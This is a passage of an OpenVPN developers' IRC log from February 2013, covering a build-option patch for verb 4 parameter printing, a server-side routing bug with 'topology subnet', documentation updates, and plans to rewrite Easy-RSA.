cleanly whewn I apply the patch to a release tarball, but I was having issues with autoconf/autoreconf from a pure-source checkout (even without my patch - I guess I'm missing some pre-autoconf step) 06:03 <@cron2> autoreconf -vif 06:03 <@cron2> is what I use 06:04 <+pekster> Ah, maybe I need -f. Let me see if I can apply my configure.ac changes to a fresh svn tree 06:10 <+pekster> Thanks, that was the piece I was missing, and it applies as expected to source. Thanks! 06:35 <@plaisthos> urgh. We have a seperate ENABLE_PARM_PRINT? 06:36 <@plaisthos> I thought that was included in enable-small 06:36 <+pekster> No, it's not, and the issue I'm offering a fix for is that the currnet Windows build lacks verb 4 support of param printing 06:36 <+pekster> So, --dissable-debug currently makes verb 4 worthless 06:37 <+pekster> 1 sec, I might as well dump the rest of the patch on pastebin 06:38 <+pekster> http://paste.kde.org/677696/ 06:38 <@plaisthos> I have not yet looked at the code but I personally would prefer to have only --enable-small not like several combinations like small but but print params and not small but print no params 06:38 <+pekster> Now sure, I could re-work that to be #ifndef ENABLE_SMALL instead 06:38 <+pekster> Sure 06:41 <@plaisthos> but If I read the code right at the moment small includes ENABLE_OCC 06:41 <@plaisthos> or does the current windows build for some reason enable small? 06:42 <+pekster> No, it's got enable_debug=no enable_small=no 06:42 <+pekster> And as a result it currently lacks support for parameter printing in all 2.3 releases 06:43 <+pekster> The rest of the ENABLE_DEBUG code feels very logically split from the param printing. I really think it either needs to be merged with ENABLE_SMALL, or given its own build knob 06:44 <+pekster> 2.3.0 Windows x64 build I004 --version: http://paste.kde.org/677708/ 06:44 <+pekster> I'm fine either way; it's actually a smaller patch (no configure.ac changes) to put it in --enable-small instead 06:44 <+pekster> And yea, that does make a bit more sense, I'd agree 06:46 <@plaisthos> I just looked through the code 06:46 <@plaisthos> the ENABLE_DEBUG seems to have a) useful information b) real debug stuff 06:46 <@plaisthos> which is strange 06:48 <+pekster> Right. Presumably category A should be under --enable-small so "standard" builds get the useful output without being larger/more-verbose for non-devs 06:48 <+pekster> I'm specifically just trying to remove the --verb 4 output from debug; I don't know how much else "should" be moved as well 06:50 <@plaisthos> that is okay 06:50 <@plaisthos> just don't include another compile option :) 06:51 <@plaisthos> we got enough of those 06:56 <+pekster> Well, easy to remove. It was actually more of a pain hunting down the build failures for the functions that called the verb 4 stuff from outside options.c; removing the build option is comparitively easy :D 06:57 <+pekster> I'll clean that up, drop the changes under !ENABLE_SMALL, and shoot a patch to the ML. Until then we should probably release official builds with --enable-debug, otherwise troubleshooting from userland gets hard; I'll note this as well 07:06 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 07:44 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 07:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:51 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:51 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 07:52 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:52 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:53 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 07:56 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:56 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:28 < surfmasta> plaisthos 10:16 -!- raidz_away is now known as raidz 10:32 <@ecrist> dazo - are you around? 10:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 10:40 <@ecrist> or plaisthos maybe 10:41 <@plaisthos> ecrist: yes? 10:41 <@ecrist> do you know if route syntax has changed since 2.3 alpha? 10:41 <@plaisthos> should not have 10:41 <@plaisthos> iirc 10:43 <@ecrist> we did a demo/lab about a year ago, and for a network behind a client, we had the obligatory CCD entry with the irtoue 10:43 <@ecrist> in the main config we had route "IP subnet" for the ip range behind the client and all was good 10:43 <@plaisthos> what error are you getting? 10:43 <@ecrist> now, we're getting this: 10:43 <@ecrist> OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options 10:44 <@plaisthos> you something like 10:44 <@plaisthos> route "10.0.0.8 255.255.255.0"? 10:44 <@ecrist> yup 10:45 <@ecrist> route 10.70.0.0 255.255.254.0 10:45 <@plaisthos> I wonder that ever worked 10:45 <@plaisthos> ah 10:45 <@plaisthos> witout the " :) 10:45 <@ecrist> we've tried both with and without the quotes 10:45 <@plaisthos> that is strange 10:45 <@plaisthos> the route-gateway paramenter should be pushed by the server 10:46 <@ecrist> quaDamage and I did a talk at BSDCan last year, and it worked fine 10:47 <@ecrist> we're rolling it out on a box (moving our setup from bridged to routed) and now it doesn't work. 10:48 <@plaisthos> err no idea. Difficult to say without log 10:49 <@plaisthos> Do you have --server in the server config? 10:49 <@plaisthos> that should do push a route-gateway to the clients 10:49 <@ecrist> http://pastebin.ca/2316371 10:51 <@ecrist> http://pastebin.ca/AjRZHPL8 (pass: foobeans) 10:52 <@plaisthos> hm 10:53 <@plaisthos> so you are executing the route on the server 10:53 <@plaisthos> like adding to the server routing table 10:54 < surfmasta> plaisthos: i have a test setup running with pushable --client-nat and it works great 10:54 <@plaisthos> surfmasta: ah nice 10:54 <@plaisthos> ecrist: what should your route statement to anyway? :) 10:54 < surfmasta> plaisthos: just have to test if the slowdown is from my test-system or the client-nat feature, but this is exactly what we need here :-) 10:55 <@ecrist> plaisthos: ? 10:56 <@plaisthos> ecrist: did you forget push in front of the 10.70.0.0 route? 10:56 <@ecrist> no 10:56 <@plaisthos> ecrist: you must have had a reason to include that in your config 10:56 <@plaisthos> ecrist: And I have no idea what it should do 10:56 <@ecrist> there's an iroute for one client 10:57 <@plaisthos> yes 10:58 <@plaisthos> perhaps you want route 10.70.0.0 255.255.254.0 172.25.25.1? 10:58 <@plaisthos> tell the OS that 10.70.0.0/23 is reachable via the openvpn server? 11:02 <@ecrist> we'll try that 11:02 <@ecrist> the bottom line, I suppose, something changed 11:02 <@plaisthos> maybe 11:03 <@plaisthos> binary search with git might be helpful here 11:03 <@dazo> ecrist: no, route syntax should be the same 11:04 <@ecrist> hrm 11:05 <@dazo> but that doesn't mean we didn't regress .... --server should set --route-gateway, iirc ... which is why your config should work 11:05 <@dazo> push routes looks sane too 11:06 <@dazo> oh ... look! It does have --route-gateway 11:06 <@dazo> Feb 21 10:43:52 alcatraz-2 openvpn[2424]: ROUTE_GATEWAY 172.23.23.1 11:07 <@dazo> ecrist: which BSD version is this? Is that the same as you used last time? 11:07 <@plaisthos> dazo: not from the man page at least 11:07 <@plaisthos> dazo: only push "route-gateway" 11:08 <@dazo> uhm .... 11:08 <@dazo> ROUTE_GATEWAY 172.23.23.1 .... the config says: server 172.25.25.0 255.255.255.0 11:08 <@dazo> 25.25 -> 23.23? 11:09 <@dazo> plaisthos: ahh, I see your point now 11:09 <@ecrist> dazo: this is FreeBSD 9.1 (we used to us 8.3) 11:11 <@dazo> ecrist: double check the "PUSH: Received control message: 'PUSH_REPLY," line in the log file on the client ... see if it provides --route-gateway there 11:11 <@vpnHelper> RSS Update - tickets: #260: Fix parameter listing in non-debug builds at verb 4 <https://community.openvpn.net/openvpn/ticket/260> 11:12 <@dazo> d12fk: at a quick glance, ticket #260 looks to be your domain 11:12 <@dazo> or maybe not, when looking at the patch .... gee ... this day is just filled of such twisters .... 11:13 <@ecrist> dazo: on the client, it points to 172.25.25.1 11:13 <@ecrist> 2013-02-21 10:17:18 PUSH: Received control message: 'PUSH_REPLY,ifconfig-ipv6 2605:8400:200:25::1000/64 2605:8400:200:25::1,route 216.17.68.128 255.255.255.192,route 10.70.0.0 255.255.254.0,route 10.0.0.0 255.255.0.0,tun-ipv6,route-gateway 172.25.25.1,topology subnet,ping 10,ping-restart 120,ifconfig 172.25.25.2 255.255.255.0' 11:13 <@dazo> yeah ... okay ... so the server does what it should do ... 11:13 <@d12fk> dazo: it's rather mattock's 11:14 <+pekster> Bad version on the tracker re: #260, and apparently I can't change that. The milestone is right 11:14 <@ecrist> pekster: allow me to upgrade your trac privs 11:14 <@dazo> d12fk: actually it's modifying openvpn core code ... #ifdefs ... so, it's probably not mattocks table at all :) 11:14 <@d12fk> oh 11:15 <@ecrist> pekster: what's your trac username? 11:15 <+pekster> ecrist: JoshC 11:15 <@ecrist> dazo: if we add the VPN endpoint to the route, like plaisthos suggested, it works 11:15 <@ecrist> this used to work just fine, though 11:15 <+pekster> IIRC mattock does thet builds, so we should get a newer Windows build with enable_debug=yes until that code is available for official releases 11:16 <@ecrist> pekster: you're rights should have been upgraded 11:16 <+pekster> Thanks, I'll fix the incorrect version tags to clean that up 11:16 <@dazo> ecrist: yeah ... I wonder if cron2 should have a look at that, tbh ... as I believe the "set up routes" code was overhauled a few times after alpha1 ... which might have caused a regression 11:16 <@ecrist> and alpha1 is what we used for our demo last year 11:17 <@ecrist> I'll go find my torches and pitchforks for when he gets here, then 11:17 <@ecrist> ;) 11:17 <@plaisthos> I think my changes to the code did not cause this 11:19 <@dazo> ecrist: if we guide you through some git exercises ... would you be able to help us bi-sect the commit? 11:20 <@ecrist> absolutely 11:20 <@ecrist> right now, though, I'm going to drink a beer and grab some lunch with the wife 11:21 <@ecrist> be back in about an hour 11:21 <@dazo> sure! I'll be here for some more hours 11:21 <@dazo> so first, if you could double check that alpha1 works on the client side ... that will help to know where to start looking for a working commit 11:24 <@plaisthos> dazo: you meant server side, right? 11:24 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:24 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 11:24 -!- mattock_afk is now known as mattock 11:25 <@dazo> plaisthos: no, not really .... as we see that the route-gateway is properly pushed to the client ... but it seems the client doesn't use it ... 11:25 <@plaisthos> dazo: look closer in the log and the error. It is server side. 11:27 <@dazo> plaisthos: hmm ... 11:27 <@dazo> plaisthos: because line 136 and line 137 contradicts each other 11:27 * d12fk si finally done with testing the patches coming in tomorrow 11:28 <@dazo> plaisthos: and --server shouldn't set --route-gateway, only add it as a push statement 11:29 * cron2 hasn't touched IPv4 11:29 <@plaisthos> The 136 might be bogus 11:30 <@plaisthos> there is something strange going on there 11:31 <@cron2> I'm not fully understanding where the problem is - client or server side? If client, it is something in ecrist's config, as I push IPv4 routes on the test setup the buildbots use, and that works perfectly well 11:31 <@plaisthos> cron2: server side 11:31 <@plaisthos> from what i gathered server x y 11:31 <@plaisthos> and then route x y 11:31 <@cron2> I seem to have read that his *client* isn't liking the pushed route? 11:31 <@plaisthos> used to execute to a route directed to the openvpn instance 11:32 <@plaisthos> cron2: in the log or the chat? 11:32 <@cron2> here in the chat, where's the logs (that is just too much text) 11:32 <@plaisthos> The log http://pastebin.ca/2316371 is from the server side 11:32 <@cron2> let's see 11:33 <@dazo> plaisthos: ROUTE_GATEWAY is printed via print_default_gateway() ... which is called from route.c:598 ... which is right after get_default_gatway() have been called 11:34 <@dazo> so if something is wrong, it's what get_default_gateway() returns ... however, that value seems to make sense though 11:34 <@plaisthos> dazo: understood 11:34 <@plaisthos> so the ROUTE_GATEWAY simply displays the default route of the server 11:35 <@dazo> yeah 11:35 <@plaisthos> and since --server or aything else set the route-gateway parameter we get the error 11:35 <@cron2> ISTR 11:35 <@plaisthos> the interesting question is if older releases behaved different 11:35 <@cron2> nah 11:35 <@dazo> plaisthos: --server does only add --push "route-gateway ...." 11:36 <@dazo> tbh ... I think this will fail on the exact same setup with alpha1 ... I think it's a corner case triggered by a slightly different network setup ... somehow 11:36 <@mattock> ecrist: any reason to keep easy-rsa/1.0 around? 11:36 <@cron2> ah 11:38 <@dazo> the only thing which can have changed is how openvpn executes the 'route' calls ... if they consider the defined gateway or not 11:39 <@cron2> I admit that I have no idea whether "route" works on --server on BSDs, as I have no setup where this is ued 11:39 <@cron2> used 11:40 <@cron2> IPv4 routes need a route gateway (as they are not installed as "interface routes" but as "gateway ip routes") 11:41 <@cron2> OTOH 11:42 * cron2 just found one of our corp VPNs on FreeBSD 8.x, OpenVPN 2.3.0, using "route" and it works 11:42 <@plaisthos> cron2: with 2 or 3 parameters? 11:42 <@cron2> 2 11:43 <@dazo> and with FreeBSD 8 .... 11:43 <@cron2> Feb 21 18:42:38 mariotte openvpn_hob[59172]: ROUTE_GATEWAY 193.149.36.254 11:43 <@cron2> this is the LAN gateway 11:43 <@dazo> No such warning as: "OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options" ? 11:43 <@cron2> Feb 21 18:42:38 mariotte openvpn_hob[59172]: /sbin/route add -net 10.61.4.0 193. 11:43 <@cron2> 149.36.226 255.255.255.0 11:43 <@cron2> and this is the route 11:44 <@cron2> server 193.149.36.224 255.255.255.240 11:44 <@cron2> route 10.61.4.0 255.255.255.0 11:44 <@dazo> and that is what I see in ecrist's server log too ... 11:44 <@dazo> Feb 21 10:43:52 alcatraz-2 openvpn[2424]: /sbin/route add -net 172.25.25.0 172.25.25.1 255.255.255.0 11:44 <@cron2> topology p2p 11:44 <@cron2> dazo: nah, that's the "--server" network, not the "--route" 11:44 <@dazo> duh! 11:45 <@dazo> oh! 11:45 <@cron2> it might be "topology subnet" breaking something here 11:45 <@dazo> it tries to add that route *before* the tun is configured 11:46 <@dazo> or maybe it's just pre-parsing 11:46 <@cron2> nah, I think that's the "resolve route_option to route" step which refuses the routes if they can't be resolved and/or something is missing 11:47 <@dazo> it's only printed by init_route() and init_route_ipv6() 11:47 <@cron2> it might be a regression with "topology subnet", because "subnet" implies "there is no point-to-point ip to point to" - which actually is bogus (as the tun is still p2p, and it just needs to pick ifconfig+1...) 11:48 <@cron2> init_route() is the thing that converts "struct route_option[]" to "struct route[]", AFAIR 11:48 <@dazo> true ... but that shouldn't have changed since alpha1 ... however, I'm not convinced about a functional alpha1 on this exact setup yet 11:49 <@cron2> I'm very sure that this didn't work in 2.2 either, but something in the setup changed - most likely "topology p2p" -> "topology subnet" 11:49 <@dazo> plausible 11:50 <@cron2> it's still a more-stupid-than-needed behaviour, and we could arguably call it a bug 11:50 <@dazo> yeah 11:50 <@cron2> (I'm not even sure it's BSD specific, it might as well be broken on Linux, too) 11:50 * dazo looks at route.c:328 11:51 <@dazo> is_route_parm_defined (ro->gateway) returns 0 ... goes into the 'else' part ... prints warning from log line 137, jumps to 'fail' which prints log line 138 11:51 <@cron2> but that's just *if* it is defined (3-option format of "route") 11:52 <@cron2> well, unless RTSA_REMOTE_ENDPOINT is set, whatever that is - and that could very well be --gateway-address 11:52 <@cron2> --route-gateway, even 11:53 <@dazo> the warning we see in log line 137 is only used one place in the openvpn code ... in the code path I pointed at 11:53 <@cron2> yeah, understood, but you skipped the if() before the warning 11:53 <@dazo> oh true :) 11:54 <@cron2> route_list_add_vpn_gateway() 11:54 <@dazo> or init_route_list() 11:54 <@cron2> but that's not the right one 11:54 * cron2 is confused 11:56 <@dazo> !??!??! 11:56 <@dazo> if (dev == DEV_TYPE_TUN && (options->topology == TOP_NET30 || options->topology == TOP_P2P)) 11:56 <@dazo> gw = options->ifconfig_remote_netmask; 11:56 <@cron2> ah, init_route_list() is called with options->route_default_gateway if that is set 11:56 <@cron2> dazo: yeah, that 11:57 <@dazo> ifconfig_remote_netmask? 11:57 <@cron2> that is "the second argument to --ifconfig" - it is either a netmask (in TOP_SUBNET case) or a remote (in net30/p2p) 11:57 <@cron2> you either have 11:57 <@cron2> ifconfig 172.30.0.1 172.30.0.2 11:57 <@cron2> or 11:57 <@cron2> ifconfig 172.30.0.1 255.255.255.0 11:58 <@cron2> and "ifconfig_remote_netmask" is then 172.30.0.2 or 255.255.255.0... 11:58 <@cron2> wasn't me 11:58 <@dazo> yeah ... exactly ... 11:58 <@cron2> just sayin' 11:58 <@dazo> ;-) 11:58 <@cron2> and *that* is what breaks the "default assignment of a gateway address for topology subnet" 11:58 <@dazo> yeah, agreed! 12:01 * cron2 needs to bring children to bed now, so someone else needs to fill that into a trac and propose a fix - for ecrist, the fix is "just add --route-gateway to his config" 12:01 * dazo need to run for a train soonish 12:02 <@mattock> I'll update howto.html on openvpn.net, it's fairly badly outdated 12:08 -!- dazo is now known as dazo_afk 12:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:50 <@ecrist> dazo_afk: we fitured it out 12:50 <@ecrist> cron2: we found our problem 12:51 <@ecrist> apparently, on this box, years ago, the netmast for our LAN was set to 10.0.0.0/8 instead of 10.0.0.0/16, so we were colliding with 10.70.0.0/23 12:51 <@ecrist> fixing the netmask fixed the routing 12:52 <@ecrist> never mind 12:52 <@ecrist> was looking at a different issue 12:56 <@cron2> ecrist: overlapping subnets are not a problem at all - the issue you have found is real, but is not new in 2.3.0, but related to "topology subnet" 12:56 <@ecrist> ah 12:56 <@ecrist> see, in our demo, we used topology net30 12:56 <@ecrist> so that makes sense 13:03 <@mattock> howto updated, mostly updated obsolete links and mentioned new versions/features/subprojects 13:06 <+krzee> nice! 13:07 <@mattock> I'll skim through the other stuff on openvpn.net tomorrow and update as necessary 13:07 <@ecrist> mattock: 1.0 can go away 13:07 <@mattock> ecrist: excellent, I'll provide a patch tomorrow 13:07 <@mattock> train arriving, got to split 13:07 <@ecrist> l8r 13:08 <@ecrist> cron2: that did fix it, btw 13:08 -!- mattock is now known as mattock_afk 13:08 <@ecrist> it shouldn't be needed though, and based on the comments above, you guys agree with me 13:11 <+krzee> what was it? so if i see a similar ? i know how to help 13:12 <@cron2> IPv4 related, so not really interesting anymore 13:12 <+krzee> lol 13:12 <@ecrist> so, if you have a lan behind a client, you'd have an iroute in a CCD, and a route "ip subnet" in the server conf 13:13 <@ecrist> with net30, that worked, but with topology subnet, you need a gateway on the route command 13:13 <+krzee> ahh yes, i have run into that as well 13:13 <+krzee> in 1 case i ran into it on a multi-server setup, had to write a script to make it work 13:14 <@cron2> having the route with a next-hop ip ("route 172.30.1.0 255.255.255.0 172.25.25.2") would just work 13:14 <+krzee> unless next-hop changes based on the vpn server you randomly connected to 13:15 <+krzee> but there was an env var with the ip i needed for next hop 13:15 <+krzee> so i used --route-up iirc 13:16 <+krzee> shouldnt openvpn be able to handle that on its own though? 13:18 <@cron2> krzee: this bug only affects the server, not the client 13:19 <@cron2> the client will (assuming a properly configured server) get it right automatically 13:19 <+krzee> ohhh yes you're right 13:20 <+krzee> i couldnt remember where i ran into it that i needed to script 13:21 <+krzee> lemme find it 13:23 <+krzee> ahh it was on a freebsd client 13:24 <+krzee> err no, server, you're right 13:24 <+krzee> in linux (was looking at wrong shell) 13:24 <@ecrist> yes, server should handle it correctly 13:24 <@ecrist> but it's not, so cron2's going to fix it. :) 13:24 <+krzee> i made a specific interface and added a route to the interface 13:24 <+krzee> instead of needing to know next hop 13:30 <@ecrist> you don't need to know next hop - you just set it to the openvpn interface IP 13:30 <@ecrist> so, for --server 172.25.25.0 255.255.255.0 you do route "172.20.20.0 255.255.255.0 172.25.25.1" 13:31 <+krzee> i ended up using /sbin/route add -host 10.0.0.201 rpn2 14:55 -!- dazo_afk is now known as dazo 15:14 <+pekster> ecrist: I tossed up a "dirty list" of some Easy-RSA things I'd like to hack away at in the near future if you had additional thoughts: http://pekster.sdf.org/ovpn/easy-rsa.html 15:14 <@vpnHelper> Title: Easy-RSA hacking list (at pekster.sdf.org) 15:45 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 15:45 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 16:17 <@dazo> python just reports some odd things .... but I'm sure cron2 appreciates it ... <twisted.internet.address.IPv4Address object at 0x1baaa10> 17:41 -!- dazo is now known as dazo_afk 18:02 -!- raidz is now known as raidz_away 18:04 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 18:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:17 -!- ender| [whatever@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:19 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 19:33 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has quit [Ping timeout: 255 seconds] 21:43 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:43 -!- mode/#openvpn-devel [+o andj] by ChanServ 23:05 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 245 seconds] 23:09 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 23:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 23:18 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:18 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Fri Feb 22 2013 02:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:07 < surfmasta> hi, is there any danger to increase the value of clienat.h: MAX_CLIENT = 64 ? 02:08 < surfmasta> i did it for testing and it works but i would like to know if there could be any drawbacks 02:09 <@mattock> surfmasta: I don't there'll be any problems, but that's just an educated guess 02:10 <@mattock> I don't think... 02:11 < surfmasta> ok, i mean we will drive so more intense tests the next days anyways, if we encounter any problems then i will let you know 02:13 <@mattock> ok, great! 02:16 <@mattock> uh, the "install" documentation page on openvpn.net is really badly outdated, got to do something about it 02:18 < surfmasta> :-) 02:23 < surfmasta> i wonder if there is a way to push from the client the local network subnet to the openvpn server -> openvpn plugins 02:26 <+krzee> nope, pushing is 1-way 03:16 <@cron2> except for push-peer-info, which is magic and not documented very well :) 03:29 <@mattock> now I remember why I moved the man-page to Trac... Joomla formatting is killing me :| 03:38 <@mattock> victory! 04:08 <@mattock> modernized http://openvpn.net/index.php/open-source/documentation/install.html 04:08 <@vpnHelper> Title: Installation Notes (at openvpn.net) 04:09 <@mattock> the documentation on openvpn.net is all pretty fragmented with windows docs here and there 04:40 <@mattock> updated http://openvpn.net/index.php/open-source/faq/77-server/287-is-ipv6-support-plannedin-the-works.html 04:40 <@vpnHelper> Title: Is IPv6 support planned/in the works? (at openvpn.net) 04:40 <@mattock> the title is misleading, I'll see if it could be fixed 04:44 <@cron2> oh, indeed, this could need an update :-) 04:45 <@mattock> there's an alias now: http://openvpn.net/index.php/open-source/faq/77-server/287-ipv6-support.html 04:45 <@vpnHelper> Title: Is IPv6 support planned/in the works? (at openvpn.net) 04:45 <@mattock> however, the title is still misleading 04:45 <@mattock> I'll try to change the article title and add the old name as an alias 04:47 <@mattock> works, nice 04:52 <@mattock> article title is now correct, but URL is misleading... but better that way I think 04:52 <@mattock> apparently Joomla keeps track of old aliases, too, as the 287-ipv7-support.html also works 04:53 <@mattock> and 287-is-ipv6-supported.html also 04:53 <@mattock> my work here is done 05:15 <+krzee> push-peer-info… orlly 05:45 <@plaisthos> push-peer-info is one the thing only OpenVPN AS really uses because it is not well documented 05:45 <@plaisthos> like inline certs 05:45 <+krzee> ohh its for AS 05:45 <+krzee> gotchya =] 05:58 <@plaisthos> it sends version, platform, mac of the default gw and all environment variables that begin with UV_ to the server 07:16 <@cron2> plaisthos: how do you turn it on? 07:16 * cron2 has not yet investigated enough 07:16 <@plaisthos> cron2: push-peer-info 07:16 <@plaisthos> in client configuration 07:17 <@plaisthos> no idea what to do on server to do anything useful with it though ... 07:21 < surfmasta> i had to get the local network information on a router where we have the openvpn client running. so before i am running the client i am sending the local network (192.168.178.0/24) to our webserver (PHP/Radius-auth) and reading this information on a openvpn client/server connect via the radiusplugin that I patched for this a little 07:21 < surfmasta> i don't know if this is the best way to go, but for now it works... 07:21 < surfmasta> because this information i need to push the correct client-nat info to the clients 07:44 -!- mattock is now known as mattock_afk 08:17 <@ecrist> pekster: I have comments on your list, when you're around 08:28 <+pekster> ecrist: Good timing, I just got up :) 08:29 <@ecrist> excellent 08:29 <@ecrist> your list looks good, but I don't think Easy-RSA should be openvpn-specific 08:30 <@ecrist> like ssl-admin, I think it should be a good CA manager, with good support for openvpn 08:30 <@ecrist> the rest of the stuff on the list looks great, though 08:31 <@ecrist> one nit, we use sh, not bash 08:32 <+pekster> Ah, fair enough. Replace that with "something not batch" if you'd like ;) 08:32 <@ecrist> heh 08:32 <+pekster> This said, I can have the frontend code call a -vpn switch or something to omit the extra X509 fields 08:33 <@ecrist> in the long-run, I'd love to combine the functionality of ssl-admin with easy-rsa 08:33 <+pekster> Oh, or better yet, put that in vars 08:33 <@ecrist> I'd like to get rid of the multiple scripts in favor a complete larger script 08:33 <@ecrist> that would fuction both interactively (like ssl-admin) as well as in a batch fashion 08:34 <+pekster> My own personal PKI scripts sort of do that, although I symlink my frontends to them and call $0 to see how they were called 08:34 <@ecrist> I'd prefer command line arguments 08:34 <+pekster> easy-rsa is partway there with pkitool doing most of the actual work 08:35 <+pekster> It'd be some code to make it fully initeractive (ie: call it without args and it'll walk you through what you want) but that sounds interesting 08:35 <@ecrist> the symlink idea isn't horrible, but could still be confusing 08:35 <+pekster> Yea. My scripts aren't exactly a drop-in replacement for easy-rsa (I wouldn't call mine "easy" :P) 08:35 <@ecrist> most of the logic/work is done in ssl-admin, we just need to port what I wrote in perl to shell 08:36 <@ecrist> ironically, I've been ardently against easy-rsa for years, which is why i wrote ssl-admin. then I became the maintainer so I could slowly change what I don't like 08:37 <+pekster> Yup, same motivation for my own internal code 08:38 <+pekster> Although I do things like supporting one CA-per-subdirectory, independent openssl.cnf files per CA, and other "features" not appropriate for easy-rsa too 08:38 <@ecrist> see, I think those things *could* be appropriate, we just have to put the work in to do it right 08:42 <+pekster> Any reason to keep supporing openssl <1.0.0? I'd be happy to see the .cnf files and logic to support something as old as 0.9.{6,8} go away with a warning message about updating openssl 08:42 <@ecrist> I think that's fair at this point 08:42 <@ecrist> to be honest, I'd rather support our own config file, and do away with the openssl config completely 08:43 <@ecrist> that way, as openssl versions change we just adapt our logic to the new version - openssl configs are hard for some people 08:44 <+pekster> Right. My current commit tackling the DN=CN problem basically do away withh the entire req_distinguished_name field, although if you'd like to leavel that in as an option I'll need to put parts of it back so people "can" have easy-rsa generate stuff with country/state/locality/org/email 08:45 <+pekster> I just added in a section like this: http://paste.kde.org/678434/ 08:45 <+pekster> Short, sweet, and functional 08:46 <@ecrist> looks like it 08:46 <+pekster> (sorry, typos; still working on coffee #1 this morning) 08:47 <+pekster> In practice, I'll need another section to support the old method (for people who want it, or using easy-rsa for non-VPN uses that require "traditional" fields present) 08:48 <+pekster> Thanks for the feedback. Looks like I'm mostly on-target with my laundry list of changes I'd like to see, but I'll be careful not to go down the "here's a minimistic version that's perfect for the first-time ovpn user" route 08:49 <@ecrist> I'd like easy-rsa to fill both roles 08:49 <@ecrist> maybe easy-rsa --retard 08:49 <@ecrist> ;) 08:50 <+pekster> There used to be sample keys/certs shipped, but I think (quite wisely) those were removed 08:50 <+pekster> With openvpn IIRC, not easy-rsa 08:50 <@ecrist> yeah, openvpn had sample certs and those were removed long ago 09:19 <@ecrist> pekster: I'm going to talk to dazo or mattock later today (I'm not good with git) but I think we should tag or branch or whatever git does the current tree for bug fixes, in anticipation of our massive changes for 3.0 09:20 <+pekster> Sounds good. I did the same thing locally, actually 09:20 <@ecrist> dazo_afk: see above, please 09:20 <+pekster> I'm (finally) playing with git. It was frustrating being a long-time svn user (I managed my last job's svn upgrade from cvs and managed it, so I'm *very* familiar with svn) 09:20 <+pekster> However, as soon as I discovered 'git stash' I fell in love all over again 09:21 <@ecrist> pekster: that's where I am, easy-rsa will force me to finally learn it properly 09:21 <+pekster> The verb4 debug patch thing I also created with git. That is, after I got myself in 'detached HEAD' mode by mistake and had to fix it ;P 09:23 <+pekster> And yea, the current changes all appear pretty minor compared to what's coming down the pipe. If it's 'release-ready' we can tag it (no release branches that I can see) and call it the 'next release' prior to a major version bump with all the cool stuff we've got planned 09:24 <+pekster> v2.3.0 or something (coincidence with ovpn version not intended) 09:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 09:39 <+pekster> If we think there might be fixes applied to v2.x between now and when 3.0 is ready, it might be a good idea to have a v2.x branch so changes can be committed/ported there, but I'm not sure that matters too much given the commit history I see on master 09:40 <+pekster> (that way all the fun 3.0 stuff could simply be put on master, unless a feature-branch was really needed) 09:46 <@ecrist> I think just a branch so we can easily patch the current code base, and leave 3 in master 09:47 <@ecrist> wow, there have been 4 forks in the last 19 days on github of easy-rsa 09:48 <+pekster> Not counting my local stuff (I'm not going to push to github until I have half-a-clue what I'm doing in git first...) 09:52 <@ecrist> pekster: we could just create a 3.0 dir for now 09:54 <+pekster> Sure, and it could always be merged into master later if that's the new "main" dev line anyway. branches are just a merge's throw away from master. Or something. 11:07 -!- surfmasta [~bart@80.92.88.10] has quit [Quit: Leaving] 11:32 -!- dazo_afk is now known as dazo 11:53 <@dazo> ecrist: whazzup! 11:55 <@ecrist> dazo: pekster and I are looking at doing a major rewrite of easy-rsa 11:55 <@dazo> cool! 11:55 <@ecrist> what's the proper way to do this, branch the current source (for bug fixes), just create a 3.0 dir and do our new code base in there, or ? 11:56 <@dazo> I'd probably recommend to branch out a new branch ... that's really easy and quick: git checkout -b <new branchname> [branch-point] 11:57 <@dazo> branch-point is optional ... and will default to HEAD (the latest commit in the current branch) 11:57 <@ecrist> what does that actually do, then? 11:58 <@dazo> it ensures that all commits you add, will be added on top of that branch, basically 11:58 <+pekster> It's the git equiv of 'svn copy /project/trunk /procject/branches/newbranch' basically 11:58 <@dazo> except it doesn't do the "copy everything into a new directory" stuff ... it's all in the 